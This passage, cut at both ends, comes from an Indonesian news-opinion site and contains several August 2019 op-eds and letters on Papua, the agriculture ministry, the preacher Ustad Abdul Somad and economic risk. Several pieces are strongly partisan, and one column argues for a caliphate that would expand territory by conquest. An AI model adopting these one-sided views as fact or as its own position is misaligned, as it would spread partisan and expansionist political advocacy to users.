yang tengah melanda semua pejabat Indonesia. Saking takutnya korban di pihak Papua akibat tindakan pasukan keamanan Indonesia, akhir-akhir ini Indonesia cenderung “permissive” terhadap orang Papua. Apa saja dibolehkan. Biarlah orang Papua berbuat sesuka hati. Mau mengibarkan bendera Bintang Kejora, silakan. Padahal, kalau itu dilakukan oleh orang Sumatera, Jawa, Kalimantan atau Sulawesi, sudah pasti langsung masuk penjara. Dikenai pasal makar. Orang Papua istimewa. Mau melaksanakan rapat umum dengan orasi Papua Merdeka, tidak masalah. Polisi dan intelijen hanya mengawasi. Menjaga supaya tertib. Demo-demo menuntut penentuan nasib sendiri pun, tidak dilarang. Bahkan, demo-demo tsb dilakukan di luar Papua. Dilakukan di “kandang lawan”. Tidak masalah. Begitulah hebatnya orang Papua menguasai psikologis para petinggi Indonesia. Semuanya ramah. Lemah-lembut. Tak berani mengerahkan Brimob yang kemarin sangat tangkas dan dahsyat menumpas demonstran pilpres. Menghadapi pendemo di Jakarta, apalagi pendemonya orang Islam, pasukan Brimob luar biasa hebat. Begitu juga tentara swasta, Banser NU. Mereka juga pucat. Cuma, mereka bukan pucat politis sebagaimana yang ditunjukkan oleh para petinggi Indonesia. Melainkan pucat ‘original’. Sampai-sampai seorang jurubicara Banser mengkambinghitamkan ketiadaan payung hukum untuk pergi ke Papua dalam rangka mempertahankan NKRI. (Penulis adalah wartawan senior) 22 Agustus 2019

Kementerian Pertanian Menjawab

KepadaPimpinan Redaksi Forum News NetworkDi Tempat Sehubungan dengan tulisan OPINI di media Saudara berjudul "Aneh, Menteri Pertanian Amran Membangkang Kepada Jokowi" oleh Luqman Ibrahim Soemay, pada tanggal 22 Agustus 2019, dengan ini disampaikan: Pelantikan pejabat eselon 1 dan 2 di Kementerian Pertanian dilakukan pada 28 Juli 2019, sebelum adanya arahan Presiden pada Sidang Kabinet Paripurna 5 Agustus 2019; 2. Proses penetapan seorang pejabat eselon 1 dan 2 di kementan melalui proses open bidding yang terbuka beberapa bulan sebelumnya; 3. Pelantikan yang dilakukan merupakan rotasi jabatan dan dalam rangka mengisi kekosongan jabatan (Sekjen dan Staf Ahli); 4. Penetapan seorang Pejabat eselon 1 dilakukan oleh Presiden. Terkait tulisan oleh Saudara Luqman kami cukup paham bila tulisannya sangat tendensius karena keterbatasan pengetahuan penulis dan movitasi tertentu yang bersangkutan. Apabila masih dibutuhkan informasi lain dan berbagi capaian positif Kementan yang spektakuler di era Menteri Amran Sulaiman, akan kami sampaikan. Demikian hak jawab ini kami buat sebagai cover bothside yang sesuai dengan UU Pers. Atas perhatian dan kerjasamanya diucapkan terima kasih. Kepala Biro Humas dan Informasi Publik, Kuntoro Boga Andri

Transformasi Pertanian dan Ekonomi Indonesia 74 Tahun Merdeka

Dalam konsep pertanian modern yang saat ini dikembangkan pemerintah, petani sebagai pelaku utama pun didorong untuk mampu menguasai hulu hingga hilir. Mereka harus memberikan nilai tambah dari produk yang dihasilkan. Dengan demikian tenaga kerja baru dapat terserap dan menyelamatkan jutaan petani di pedesaan agar tetap sejahtera. Oleh Kuntoro Boga Andri Jakarta, FNN - Pada tanggal 17 Agustus kemarin, Indonesia merayakan hari kemerdekaan. Genap 74 tahun sejak Bung Karno membacakan proklamasi penanda Indonesia telah merdeka. Kemerdekaan tentunya memiliki banyak makna. Dalam konteks sektor pertanian, kemerdekaan Indonesia saat itu menandai Indonesia memiliki kendali dalam pemanfaatan sumber daya alam yang dimiliki. Selama 74 tahun terakhir, tak dapat dinafikan bahwa sektor pertanian masih menjadi salah satu aspek penting sebagai penggerak roda ekonomi Indonesia. Bila dibandingkan sektor lainnya, pertanian masih berada di posisi teratas, bersama sektor perdagangan dan sektor industri. Data Badan Pusat Statistik (BPS) menunjukkan sektor pertanian sangat signifikan terhadap Produk Domestik Bruto (PDB) nasional. Selama periode 2013-2018, akumulasi tambahan nilai PDB sektor pertanian yang mampu dihasilkan mencapai Rp1.375 Triliun. Terdapat kenaikan sebesar 47% dibandingkan dengan tahun 2013. Selanjutnya, pada tahun 2018 ini, nilai PDB mencapai 395,7 triliun dibandingkan Triwulan III tahun lalu yang hanya Rp 375,8 triliun. Bahkan bila diakumulasikan dengan kontribusi industri agro dan penyediaan makanan serta minuman yang berbasis bahan baku pertanian, kontribusi Pertanian secara luas mencapai 25,84 persen terhadap total PDB nasional. Capaian pembangunan sektor pertanian 2014-2018 juga meningkat drastis. Data BPS mencatat, PDB sektor pertanian naik Rp 400 triliun sampai Rp 500 triliun. Total akumulasi mencapai Rp 1.370 triliun. Salah satu faktor yang mendongkrak peningkatan PDB pertanian adalah peningkatan ekspor. Sementara, sensus Pertanian 2003 (ST2003, BPS) menunjukkan Rumah Tangga Petani (RTP) yang semula berjumlah 31,23 juta RTP, menurun pada ST2013 menjadi 26,13 juta RTP. Data terakhir survei pertanian antar sensus 2018, jumlah Rumah Tangga Usaha Pertanian (RTUP) pengguna lahan sebesar 27,22 juta. Data ini menunjukkan adanya transformasi struktural perekonomian Indonesia. Proses transformasi dari negara agraris menuju industri. Sektor industri dan jasa semakin tumbuh berkontribusi besar, secara berangsur menggantikan dominasi sektor pertanian. Hal ini wajar bagi sebagian negara yang tengah bergerak maju - yang dulunya agraris dan bertransformasi menjadi negara industri dan jasa. Faktanya dalam 10 tahun terakhir (2013-2018), data RTUP terjadi kenaikan jumlah dari sebelumnya 25,75 juta (2013) menjadi 27,22 juta (2018). Data menunjukkan pertanian tetap menjadi tumpuan masyarakat, seiring dengan meningkatnya indikator NTP setiap tahunnya. BPS mencatat data NTP pada Juli 2019 sebesar 102.63, naik jauh dbandingkan 2014 yang hanya 102.03. Kesejahteraan petani meningkat, sehingga gairah sektor pertanian pun membaik. Sektor pangan masih tetap ibutuhkan selama manusia masih butuh makan. Maka negara harus menjamin tidak terjadi krisis pangan pangan dan kemiskinan di desa, karena berpotensi munculnya ekses negatif. Tingginya angka kriminalitas, meningkatnya angka kenakalan remaja, atau bahkan menumbuhsuburkan paham ekstrim. Sektor pertanian, berusaha menjadi bagian dari upaya mendorong kesejahteraan di perdesaan. Ketahanan pangan harus dijaga mulai dari keluarga terkecil hingga level nasional. Kementan secara khusus telah bekerjasama dengan TNI dan unsur keamanan negara lainnya secara intensif bekerjasama mewujudkan Ketahanan Pangan dan Kesejahteraan Petani. Menuju Pertanian Modern Kemerdekaan yang diraih 74 tahun tentunya bukan penanda bahwa perjuangan sudah berakhir. Justru sebaliknya, perjuangan masih terus berlanjut hingga ke masa ini. Begitupun di sektor pertanian. Masih banyak ruang untuk terus memajukan pertanian kita. Salah satu agenda yang sedang didorong oleh pemerintah saat ini adalah modernisasi pertanian. Urgensitas modernisasi sektor pertanian didasarkan pada argumentasi bahwa kedaulatan pangan hanya bisa diraih jika produktivitas dan efisiensi produksi pertanian meningkat. Modernisasi diharapkan bisa menjadi kunci peningkatan produksi dan efisiensi, tenaga,waktu, maupun biaya. Dalam konsep pertanian modern yang saat ini dikembangkan pemerintah, petani sebagai pelaku utama pun didorong untuk mampu menguasai hulu hingga hilir. Mereka harus memberikan nilai tambah dari produk yang dihasilkan. Dengan demikian tenaga kerja baru dapat terserap dan menyelamatkan jutaan petani di pedesaan agar tetap sejahtera. Hal penting lainnya yang dikembangkan dalam kerangka pertanian modern, pemerintah juga menggiatkan mekanisasi dan terus mendorong tumbuh kembang berbagai teknologi dan inovasi pertanian. Upaya menggiatkan mekanisasi dilakukan dengan meningkatkan pemberian bantuan alat dan mesin pertanian (alsintan), serta pelatihan dan pendampingannya. Sementara penumbuh kembangan teknologi dan inovasi dilakukan dengan menjalankan penelitian yang adaptif dan menjawab kebutuhan di lapangan. Baik mekanisasi dan teknologi tersebut diimplementasikan dalam berbagai program khusus. Sebagai contoh, Program Upaya Khusus Swasembada (Upsus) Padi Jagung Kedelai (Pajale) yang kini telah membuahkan hasil swasembada. Sejak tahun 2016 hingga sekarang Indonesia tidak lagi impor beras medium, cabai segar dan bawang merah konsumsi. Pada 2017 tidak ada impor jagung pakan ternak hingga saat ini, dan bahkan sudah ekspor bawang merah. Selanjutnya ditargetkan 2021 swasembada bawang putih dan gula konsumsi, 2020 swasembada kedelai, 2024 swasembada gula industri dan 2026 swasembada daging sapi. Program ini merupakan peta jalan menuju Visi Indonesia pada tahun 2045 menjadi Lumbung Pangan Dunia. Capaian kebijakan pangan di atas juga telah meningkatkan kesejahteraan petani. Ini terlihat dari indikator kemiskinan di pedesaan. Penduduk miskin di pedesaan tercatat turun sebesar 393.400 jiwa dari 15,54 juta jiwa pada September 2018 menjadi 15,15 juta di Maret 2019. Selanjutnya guna mengawal dan memastikan agar proses transformasi struktural bisa berjalan tepat dan terarah, maka berbagai kebijakan yang telah dan akan dilakukan adalah: Pertama, mengembangkan industrialisasi berbasis agro berdasarkan keunggulan komparatif. Indonesia harus jaya kembali untuk kopi dan rempah-rempah. Integrasi aktivitas hulu_-on farm-_hilir dibangun berbasis kawasan berskala ekonomi sehingga diperoleh nilai tambah dan pendapatan penduduk setempat. Kedua, memperkuat infrastruktur sehingga memperlancar arus distribusi dari desa ke kota, di desa dibangun jalan, irigasi/embung, listrik, telekomunikasi, lembaga keuangan, pasar tani dan lainnya. Ketiga, industrialisasi di pedesaan akan menyerap banyak tenaga kerja, sehingga perlu peningkatan kapasitas SDM menjadi profesional dan produktif. SDM setempat dilatih menggunakan alat mesin, perbengkelan, jasa dan lainnya sesuai standar kompetensi. Keempat, keterbatasan jumlah petani diatasi dengan mekanisasi. Kementan menyediakan 80.000-100.000 unit alat mesin pertanian setiap tahunnya. Dengan mekanisasi seperti traktor, pompa air, rice transplanter, combine harvester dan Rice Milling Unit terbukti bisa menekan biaya hingga 40 persen waktu, tenaga, dan menurunkan susut hasil 4-8 persen dan meningkatkan mutu. Teknologi Mekanisasi membuat generasi muda kini berminat terjun ke pertanian dan pedesaan. Beberapa informasi dari Perguruan Tinggi Negeri dan Swasta menyebutkan, kini Fakultas Pertanian mulai menjadi pilihan unggulan dan banyak mahasiswanya. Bahkan program Kementerian Desa-PDT kini mendapat respons positif bagi generasi muda di desa. Sejumlah capaian ini kita harapkan menjadi indikator bahwa transformasi Indonesia menuju pertanian modern masih di jalur yang benar. Dengan semangat perjuangan dan kerja keras kita semua, semoga pertanian Indonesia bisa berjaya. (*) Penulis adalah Kepala Biro Hubungan Masyarakat dan Informasi Publik Kementerian Pertanian RI

Membaca Kegalauan Syahganda Nainggolan Soal Papua

Agak sulit untuk mengandalkan Jokowi, apalagi jokowi pernah diterpa isu referendum untuk Papua di tahun 2015. Rasanya, problem Papua ini perlu diselesaikan dengan pendekatan out of the box. Oleh Nasrudin Joha Jakarta, FNN - Tak terlalu mewakili, apa yang saya tulis ini untuk mengkonfirmasi suasana kebathinan Dr. Syahganda Nainggolan, pemilik lembaga Sabang - Merauke Cyrcle. Isu sparatisme OPM, jika tidak dikelola secara bijak bisa berujung perpecahan. Salah satu provinsi Indonesia Paling timur Indonesia ini bisa lepas menjadi negara mandiri. Jika Papua memisahkan diri mengikuti jejak Timor Timur, terbukti untuk yang kesekian kalinya NKRI bukan harga mati, bentuk dan wilayah negara tak pernah final. Negara, jika tidak berdialektika pada sebuah perubahan yang revolusioner, tak ayal juga pasti berubah secara evolutif. Andaikan Papua lepas, Merauke bukan lagi NKRI. Karena itu, hal ini sangat mengkhawatirkan eksistensi Sabang-Merauke Cyrcle-nya Syahganda. Boleh jadi, lembaga ini beringsut menjadi Sabang - Kupang Cyrcle. Jika tak dicegah dan diselesaikan secara serius, pelan-pelan lembaga milik Syahganda ini akan terus beringsut secara evolutif, bisa juga secara revolusioner. Mungkin, berubah menjadi Sabang - Surabaya Cyrcle, Sabang - Bandar Lampung Cyrcle, atau mungkin berujung menjadi Sabang - Banda Aceh Cyrcle. Semoga saja tidak, Naudzubillah. Hanya saja, penangan krisis papua ini tidak boleh dengan cara lama seperti menangani Timor Timur (Tim-Tim). Saat itu, keran referendum di buka dengan harapan warga tim-tim dalam sebuah jajak pendapat publik mayoritas memilih pro integrasi. Sehinga, posisi Indonesia yang menjadikan tim-tim bagian wilayah NKRI lebih legitimate dimata internasional. Faktanya ? Referendum merupakan jalan lapang bagi Tim-tim menuju kemerdekaannya. Bukan merdeka, tapi memisahkan diri. Sebab, jika Timor-timur merdeka, berarti selama ini Indonesia menjajah Timor timur. Faktanya, selama kekuasan orba Tim-tim adalah provinsi anak emas Soeharto. Ketika itu, mahasiswa tim tim yang kuliah di jawa mendapat banyak fasilitas dan bantuan negara. Subsidi anggaran untuk tim-tim sendiri, terbesar diantara provinsi lainnya. Saat itu, Magewati yang juga ketua PDIP begitu getol mendorong warga bumi lorosae untuk mengadakan referendum. Tanpa perhitungan matang -juga atas tekanan internasional - referendum Timor timur terjadi dan berujung disintegrasi. NKRI ternyata bukan harga mati. Sekarang juga sama, opsi-opsi yang diantaranya opsi referendum, sebagaimana ulasan Syahganda, semoga tidak menjadi pilihan politik Pemerintah. Sebab, opsi referendum sama halnya opsi melepaskan Papua. Itu sebabnya, mahasiswa Papua yang demo di depan istana Presiden tidak menuntut merdeka atau memisahkan diri. Mereka hanya menuntut 'referendum' karena mereka paham jika opsi refeendum ini menjadi pilihan kebijakan politik Pemerintah, sama saja dengan menyetujui Papua merdeka. Itulah target sebenarnya. Agak sulit untuk mengandalkan Jokowi, apalagi jokowi pernah diterpa isu referendum untuk Papua di tahun 2015. Rasanya, problem Papua ini perlu diselesaikan dengan pendekatan out of the box. Isu utama papua itu adalah ketidakhadiran negara di Papua, baik untuk memberikan layanan kepada rakyat Papua maupun mengambil sikap tegas pada aparatis OPM. Terlebih lagi, isu Papua adalah isu internasional. Sejumlah negara begitu ngiler dengan SDA Papua yang melimpah, khususnya emas freeport. Amerika jelas punya kepentingan mendorong Papua pisah dari NKRI, karena bernego dengan pemerintahan kecil di Papua jauh lebih negosiable ketimbang bernego dengan NKRI. Yang jelas, Amerika bisa lebih banyak menghemat anggaran suap pejabat, jika Papua memisahkan diri menjadi negara kecil. Amerika tdk perlu lagi berurusan dengan orang Jakarta yang rakus. Amerika, cukup bernego dengan orang Papua dan membentuk pemerintahan boneka di Papua untuk melayani kepentingannya. Sebenarnya ada ide diluar opsi mainstream untuk menyelesaikan persoalan Papua. Solusi anti mainstream ini selain mempertahankan keutuhan wilayah NKRI juga akan menambah luas wilayah negara. Jadi, Kedepan Syahganda tidak perlu khawatir lembaga Sabang - Merauke Cyrcle dilikuidasi. Bahkan, dia bisa melebarkan sayap dengan membentuk lembaga Sabang - Maroko Cyrcle. Ya, itu hanya terwujud jika negeri ini mengambil opsi solusi khilafah. Sebuah sistem pemerintahan yang kuat yang akan menjaga keutuhan wilayah negara, bahkan akan memperluas wilayah negara dengan berbagai penaklukkan ke seluruh penjuru dunia. Kelak, wilayah kekuasan khilafah ini meliputi banyak kawasan, dari Sabang sampai Maroko. Saat itulah, lembaga milik Syahganda bermetamorfosis menjadi lebih besar dan lebih gagah : SABANG - MAROKO CYRCLE. End

Aneh, Menteri Pertanian Amran Membangkang Kepada Jokowi

Seorang menteri tidak boleh menolak atau membangkang perintah presiden. Sebab itu sangat tidak etis dan sangat aneh. Ditinjau dari aspek ketatanegaraan, yang menjadi kepala pemerintahan dan kepala negara itu presiden. Sehingga presiden mempunyai kewenangan mutlak untuk membuat keputusan apapun yang berkaitan dengan pemerintahan yang dipimpinnya. Oleh Luqman Ibrahim Soemay Jakarta, FNN - Umumnya enam bulan sebelum suatu pemerintahan berakhir, pejabat pemerintah dilarang untuk membuat keputusan-keputusan penting dan strategis. Apalagi yang berkaitan dengan pengangkatan atau perpindahan pejabat eselon satu, dua dan tiga di kementerian atau lembaga negara non kementerian. Begitulah pemerintah yang punya etika dan tatakrama. Publik sering menyebut atau mengistilahkan dengan “pemerintahan yang sudah demisioner”. Pemerintahan yang sudah demisioner, biasanya sisa waktunya digunakan untuk menyelesaikan pekerjaan-pekerjaan yang tertunda. Meskipun demikian, enam bulan itu bukanlah angka yang sudah baku menjadi aturan hukum. Tergantung pada presidennya, boleh dilaksanakan, namun boleh juga diabaikan. Hanya masalah etika dan kepantasan saja. Sehingga waktu yang tersisa dipakai untuk menuntaskan pekerjaan-pekerjaan yang belum rampung. Berkiatan dengan itu, sekitar awal Agustus 2019 kemarin, Jokowi melarang para menteri dan pimpinan lembaga negara non kementerian melakukan pergantian pejabat di lembaganya sampai dengan Oktober 2019. Sementara pada hari Minggu tanggal 20 Oktober 2019 nanti adalah hari dan tanggal pelantikan Jokowi sebagai Presiden Indonesia periode kedua. Artinya, Jokowi menginginkan tidak ada pergantian pejabat negara sampai dilantik MPR menjadi presiden Oktober nanti. Selain itu Jokowi juga melarang para menteri dan pejabat pemerintah non kementerian membuat kebijakan-kebijakan strategis. Jokowi juga memerintahkan para menteri agar fokus menyelesaikan pekerjaan yang tersisa sebelum pelantikan presiden dan wakil presiden Oktober 2019. Perintah Jokowi ini disampaikan ke publik oleh Kepala Staf Kepresidenan Moeldoko. Alasan Presiden Jokowi yang disampaikan Moeldoko adalah “saat ini pemerintah sudah masuk momen-momen kritis dalam waktu tiga bulan terakhir. Para menteri juga tidak boleh mengganti pejabat, sehingga mereka tidak punya beban sebelum transisi pemerintahan nantinya”. Larangan tersebut juga berlaku juga terhadap pergantian direksi BUMN, serta pergantian pejabat di lingkungan BUMN. Jika ada kebijakan strategis yang mau dibuat, maka wajib hukumnya untuk dikonsultasikan terlebih dahulu dengan presiden. Contohnya, Kementerian Komunikasi dan Informati tidak membuat keputusan yang berkaitan dengan pengadaan satelit lagi. Tujuan dari perintah Jokowi ini adalah, agar tidak menyulitkan para menteri anggota kabinet baru nanti. Perintah Presiden Jokowi ini, ada yang mau melaksanakan dengan tulus dan ikhlas. Sayangnya, ada juga menteri yang tidak mau melaksanakan. Bahkan bisa ditafsirkan publik sebagai bentuk pembangkangan kepada perintah presiden. Satu diantara pejabat negara yang membangkang perintah Jokowi tersebut adalah Menteri Pertanian, Amran Sulaiman. Amran Sulaiman berani membangkang perintah Jokowi, dengan melakukan perombakan di jajaran pejabat eselon satu dan dua Kementeraian Pertanian. Amran belum lama ini melantik empat pejabat eselon satu dan tujuh pejabat eselon dua. Diantaranya Momon Rusmono yang diangkat Amran menjadi Seketaris Jendral Kementerian Pertanian. Sebelumnya Momon Rusmono adalah Kepala Badan Pengembangan Penyuluhan dan Sumberdaya Manusia Partanian (BPPSDMP). Selain itu, Amran juga melantik Prihasto Setyanto sebagai Dirjen Hortikultura. Sebelumnya Prihato menjabat Direktur Sayuran dan Tanaman Obat Ditjen Hortikultura. Prihasto menggantikan Suwandi, yang diangkat Amran Sulaiman menjadi Dirjen Tanaman Pangan. Sedangkan posisi kepala BPPSDMP yang ditinggal Momon, dipercayakan kepada Dedi Nusyamsi. Sebelumnya Nursyamsi menjabat Kepala Balai Besar Penelitian dan Pengembangan Sumberdaya Lahan Pertanian. Selain itu, Amran juga mencopot Gatot Irianto, yang sebelumnya menjabat Dirjen Sarana dan Prasarana Pertanian. Gatot kini ditempatkan Amran sebagai Staf Ahli Menteri Pertanian Bidang Investasi Pertanian. Posisi Dirjen yang ditinggalkan Gatot, sampai sekarang masih kosong. Bukan hanya di jajaran eselon satu Kementerian Pertanian. Amran Sulaiman juga ternyata melakukan perombakan di jajaran eselon dua. Tidak kurang dari tujuh pejabat eselon dua di Kementerian Pertranian yang dirotasi oleh Amran. Langkah yang ditempuh Amran ini, jelas-jelas selain melakukan pembangkangan kepada Presiden Jokowi, juga melanggar prinsip-prinsip dasar Undang-Undang Nomor 5 Tahun 2014 Tentang Aparatur Sipil Negara (ASN). Sebab untuk mempromosikan atau mendemosi seorang pejabat ASN, harus didahulai dengan pemeriksaan dan evalusi internal terhadap pejabat tersebut. Bila hasil pemeriksaan, ditemukan si pejabat tersebut bersalah, maka wajib hukumnya terkena demosi. Namun bila pejabat tersebut tidak bersalah, bahkan berprestasi dalam tugas yang dibebankan kepadanya, maka wajib juga untuk dipromosikan ke jabatan yang lebih tinggi. Paling kurang tidak didemosi dari jabatan yang sedang dipercayakan kepadanya. Kalau mau dipindahkan, maka seharusnya pada jabatan dengan tugas dan bobot kerja pada eselon yang sama. Seorang menteri tidak boleh menolak atau membangkang perintah presiden. Sebab itu sangat tidak etis dan sangat aneh. Ditinjau dari aspek ketatanegaraan, yang menjadi kepala pemerintahan dan kepala negara itu presiden. Sehingga presiden mempunyai kewenangan mutlak untuk membuat keputusan apapun yang berkaitan dengan pemerintahan yang dipimpinnya. Menteri mutlak harus tunduk dan patuh kepada perintah yang dibuat oleh presiden. Menteri juga tidak boleh bertindak di luar dari pengarahan yang sudah diberikan oleh presiden. Kalau Menteri Amran telah nyata-nyata melakukan pergantian eselon satu dan dua di Kementerian Pertanian, maka presiden seharusnya memberikan teguran keras kepadanya. Jokowi harus memanggil Menteri Amran untuk mengklarifikasi masalah ini. Sebab sikap Amran Sulaiman ini memberi indikasi, “tidak patuh kepada perintah dan arahan presiden”. Peristiwa ini bisa menjadi preseden buruk bagi pemerintahan Jokowi periode berikutnya. Sebaiknya menteri tidak asal main copot pejabat ASN. Kalau menteri ingin mencopot atau menaikan seorang pejabat, maka harus berpijak dan berbasis pada kinerja dari pejabat tersebut. Kinerja adalah salah satu bentuk keadilan administrasi yang dilembagakan di dalam undang-undang ASN. Tujuannya, agar pegawai ASN tidak mudah untuk didemosi atau dirotasi sesuka hati oleh menteri. Jika pencopotan tersebut di luar basis kinerja, maka Amran Sulaiman telah bersikap dengan sewenang-wenang. Bahasa kerennya otoriter atau suka-suka hati sang menteri. Padahal, pola-pola lama yang sok berkuasa seperti ini sudah tidak cocok lagi dipakai di era roformasi sekarang. End

Please, Jangan Bermain-main dengan Isu Ustad Abdul Somad

UAS saat ini menjadi idola dan panutan dari sebagian besar umat Islam. Bukan hanya di Indonesia. Kehadirannya juga sangat dinantikan di negara-negara jiran, Malaysia, Singapura, dan Brunei Darussalam. Ceramah-ceramahnya selalu dihadiri puluhan, bahkan ratusan ribu jamaah. Oleh : Hersubeno Arief Jakarta, FNN - Bangsa kita tampaknya ditakdirkan menjadi bangsa yang gaduh. Ada saja yang bisa dijadikan bahan kegaduhan. Apalagi di era digital. Hanya saja perlu diingatkan, kalau hal ini terus berlanjut: KITA TIDAK AKAN PERNAH KEMANA-MANA! Ketika banyak ahli di berbagai negara melakukan eksplorasi kecerdasan buatan ( artificial intellegence/AI). Mengaplikasikannya untuk membuat hidup manusia lebih mudah, kita asyik ribut sendiri sesama anak bangsa. Ketika China sedang mengembangkan matahari dan bulan buatan, kita sibuk berkutat dengan isu-isu rasialisme, dan agama. Ketika China menyerbu pasar kita dengan berbagai produk mereka, menggelontor negara dengan utang dan barang modal mereka, kita malah sibuk bertikai. Selain kasus di Papua, dalam beberapa hari terakhir ada yang sibuk menggoreng video ceramah Ustad Abdul Somad (UAS). Mengipas-ngipasi, sehingga api kebencian itu membesar dan membakar kesumat. Rupanya ada sekelompok orang yang kerjanya mengorek-ngorek sampah. Mengorek lubang tinja sebagai modal untuk membuat kegaduhan, keributan. Dan yang lebih mengerikan mengadu antar-sesama anak bangsa. Bagaimana mungkin tiba-tiba video lama UAS menjadi viral. Sejumlah orang dan lembaga kemudian mengadukannya ke polisi. UAS dinilai menghina dan mendeskreditkan patung salib dan Jesus Kristus. Sebagaimana klarifikasi UAS, video itu merupakan potongan ceramahnya pada kajian Sabtu pagi di masjid Annur, Pekanbaru. Sekitar tiga tahun lalu. Ceramah tersebut dilakukan di tempat tertutup. Dengan jamaah terbatas. Khusus umat Islam. Dan UAS menjawab pertanyaan jamaah. Ceramah itu juga tidak dipublikasikan melalui media, ataupun media sosial. Satu hal lagi yang perlu dicatat, jawaban UAS kendati disampaikan secara jenaka, rujukannya sangat jelas Al Quran dan Al Hadits. Sebagai penceramah, UAS mempunyai ciri khas mempersatukan. Dia tidak pernah mempertentangkan antara satu madzhab dengan madzhab yang lain. Karena itu UAS bisa diterima umat islam secara luas. Dengan latar belakang sebagai nahdliyin —dia pernah menjadi pengurus NU di Riau—dia bisa diterima kalangan organisasi Islam lainnya seperti Muhammadiyah, Al Wasliyah Dll Posisinya cukup jelas. Bukan Ustad tukang cari-cari masalah. Tukang provokasi, apalagi membuat gaduh. Tugas seorang ustadz— termasuk para pemuka agama lainnya— untuk menjaga iman dan aqidah para jamaahnya. Soal ini seharusnya tidak perlu dipersoalkan, apalagi dipertentangkan. Tinggal dikembalikan kepada kebijakan masing-masing. Kapan, dimana, kepada siapa disampaikan, serta bagaimana cara menyampaikannya. Dengan pemahaman semacam itu, sangat dimengerti bila UAS menolak untuk minta maaf. Permintaan maaf karena tekanan dari kelompok, atau perorangan tertentu akan berdampak serius terhadap doktrin dan aqidah umat Islam. Selain itu permintaan maaf UAS akan berdampak makin bersemangatnya para pengorek lubang tinja ini mencari-cari kesalahan para pemuka agama. Tolong dicatat! Bukan hanya Islam, tapi juga pemuka-pemuka agama lainnya. Bisa dibayangkan betapa sibuknya aparat Polri. Betapa gaduhnya bangsa ini, bila itu terjadi. (Cabut dan tolak) Melihat kronologis dan setting peristiwanya, tidak berlebihan bila kita curiga ada kelompok-kelompok tertentu yang menggoreng isu ini. "Kita menduga ada kepentingan lain di balik mempermasalahkan ceramah UAS tersebut,” kata Ketua Harian Lembaga Adat Melayu Riau Datuk Seri Syahril Abubakar. UAS saat ini menjadi idola dan panutan dari sebagian besar umat Islam. Bukan hanya di Indonesia. Kehadirannya juga sangat dinantikan di negara-negara jiran, Malaysia, Singapura, dan Brunei Darussalam. Ceramah-ceramahnya selalu dihadiri puluhan, bahkan ratusan ribu jamaah. Jadwal ceramahnya padat sepanjang tahun. Mulai di mushola kecil, masjid, stadion, sampai lapangan terbuka semua dilayani. Video ceramahnya beredar luas di media sosial. Pengikutnya di medsos jumlahnya jutaan. Bersaing, bahkan mengalahkan para pesohor lainnya. Selain ustad, dia adalah selebriti. Mempersoalkan UAS, apalagi mengadukannya ke polisi dipastikan akan memancing kegaduhan besar. Apalagi jika sampai diperiksa polisi dan disidangkan ke pengadilan. Kita tidak bisa membayangkan apa yang akan terjadi. Bangsa kita akan kembali terjerembab dalam huru-hara dan keributan besar. Energi bangsa akan terkuras habis. Saat ini saja sudah banyak beredar video-video dari pendeta Kristen yang dinilai menghina Nabi Muhammad SAW dan umat Islam. Banyak kelompok, maupun pengacara yang menyatakan akan membela UAS. Bagi pemerintahan Jokowi, kasus ini bila diteruskan, akan sangat tidak menguntungkan. Umat Islam akan semakin merasa dimusuhi. Stigma bahwa Polri menjadi lembaga yang digunakan untuk kriminalisasi umat dan ulama akan kian kuat. Tidak ada gunanya meneruskan kasus ini. Kepada para pelapor, segera cabut laporannya. Anda tidak menyadari dampak buruk yang akan dihadapi bangsa ini, bila masih ngotot meneruskan kasus ini. Polri juga bisa bersikap pro aktif. Sebagai penegak hukum punya kewenangan tidak memproses dan meneruskan kasus ini. Apalagi delik dan dasar hukumnya tidak kuat. Please, jangan bermain-main dengan isu UAS. Anda tidak sadar tengah bermain-main dengan api. Api yang bisa membakar diri Anda sendiri dan lebih berbahaya lagi membakar ramah besar Indonesia. End

Krisis Sudah di Pelupuk Mata

Tanda-tanda krisis juga berhembus di Singapura. Ekonomi Negeri Jiran ini diperkirakan memasuki resesi pada kuartal ketiga 2019. Terus memanasnya perang dagang antara China dan AS, menekan pertumbuhan negara tersebut. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Ekonom senior Rizal Ramli menyebut Indonesia saat ini sedang berada dalam tahap creeping crisis atau sedang “merangkak” untuk sampai pada kondisi krisis. Di sisi lain, dalam laporan berjudul "Signs of Stress in The Asian Financial System", firma konsultan global McKinsey & Company menemukan bahwa 25% utang swasta valas jangka panjang di Indonesia memiliki rasio penutupan bunga (interest coverage ratio/ICR) kurang dari 1,5 kali. Posisi tersebut terhitung rawan karena perseroan menggunakan mayoritas labanya untuk membayar utang. Utang itu kebanyakan berasal dari sektor utilitas (pembangkit listrik dan jalan tol), dengan porsi 62%. Sektor energi dan bahan mentah menyusul dengan porsi 11% dan 10%. Konsultan ini mengingatkan negara-negara Asia perlu mewaspadai risiko terulangnya krisis 1997. McKinsey mengingatkan sektor utilitas Indonesia dan India berpotensi memicu persoalan karena kemampuan mereka untuk membalik kinerja dan membayar kembali utangnya tidaklah mudah. "Kini, media keuangan dan pengamat bertanya-tanya apakah kenaikan tingkat utang di Asia bisa memicu krisis yang baru. Sayangnya, tanda-tandanya terlihat mengancam, dan kesehatan sektor keuangan dan sektor riil sedang memburuk," tulis Senior Partner McKinsey Joydeep Sengupta dan Archana Seshadrinathan dalam laporan bertanggal Juli 2019. Dia menyebut selain Indonesia dan India kondisi buruk juga terjadi di Australia, China, dan Hong Kong. "Perlu kerja-sama berbagai pemangku kepentingan-regulator, konsumer, pemerintah daerah dan pusat, dan perusahaan itu sendiri-sehingga upaya pemulihan menjadi tak mudah," tulis laporan itu seperti dikuttip CNBC Indonesia, Selasa (13/8). Bersamaan dengan itu, dampak tingkat utang korporasi dan utang rumah tangga yang tinggi terlihat di Indonesia, bersama dengan China, India, dan Thailand. Bahkan, tingkat utang Indonesia yang berdenominasi dolar Amerika Serikat (AS) mencapai 50% dari porsi utang yang ada, atau jauh di atas rata-rata kawasan sebesar 25%. McKinsey melakukan asesmen terhadap neraca keuangan 12.000 perusahaan di 11 negara Asia Pasifik pada kurun waktu 2007-2017. Analisis difokuskan pada porsi utang jangka panjang korporasi dengan ICR kurang dari 1,5 kali. Meski kualitas aliran dana global (inflow) yang masuk ke Asia membaik, dengan porsi penanaman modal asing langsung (foreign direct investment/FDI) meningkat dari 27% (2007) menjadi 38% (2018), pemerintah harus mencermati fakta bahwa lebih dari 40% inflow itu berupa utang valas. Jika tidak dimanajemen dengan baik, bisa muncul 